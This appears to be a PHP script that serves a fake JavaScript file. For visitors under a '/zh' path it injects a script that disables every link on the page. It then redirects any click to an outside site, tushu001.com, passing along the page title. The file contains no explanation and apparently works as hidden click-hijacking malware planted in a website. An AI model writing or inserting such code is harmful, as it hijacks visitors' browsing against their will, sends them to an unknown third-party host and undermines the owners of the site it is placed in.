<?php

error_reporting(0);

$s = $_GET['s'];

if (!strpos($s, '.js')) {
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}

$s = str_replace(stristr($s, '.js'), '', $s);
define('URL_LAST_LETTER', strtolower(substr($s, -1)));

$arrRefererURLInfo = parse_url($_SERVER['REQUEST_URI']);
$vPath = $arrRefererURLInfo['path'];
if (substr($vPath, 0, 3) == '/zh') {
    $requestLanguageType = 'zh-cn';
} else {
    $requestLanguageType = 'en-us';
	die();
}

echo 'document.write(\'<script>$(function(){$("a").removeAttr("href");$("a").removeAttr("onclick");$("a").removeAttr("target");$("a").attr("href","#");});document.onclick=function(){window.location.href="http://www.tushu001.com/brige.php?title="+encodeURI(document.title);};</script>\');';

?>

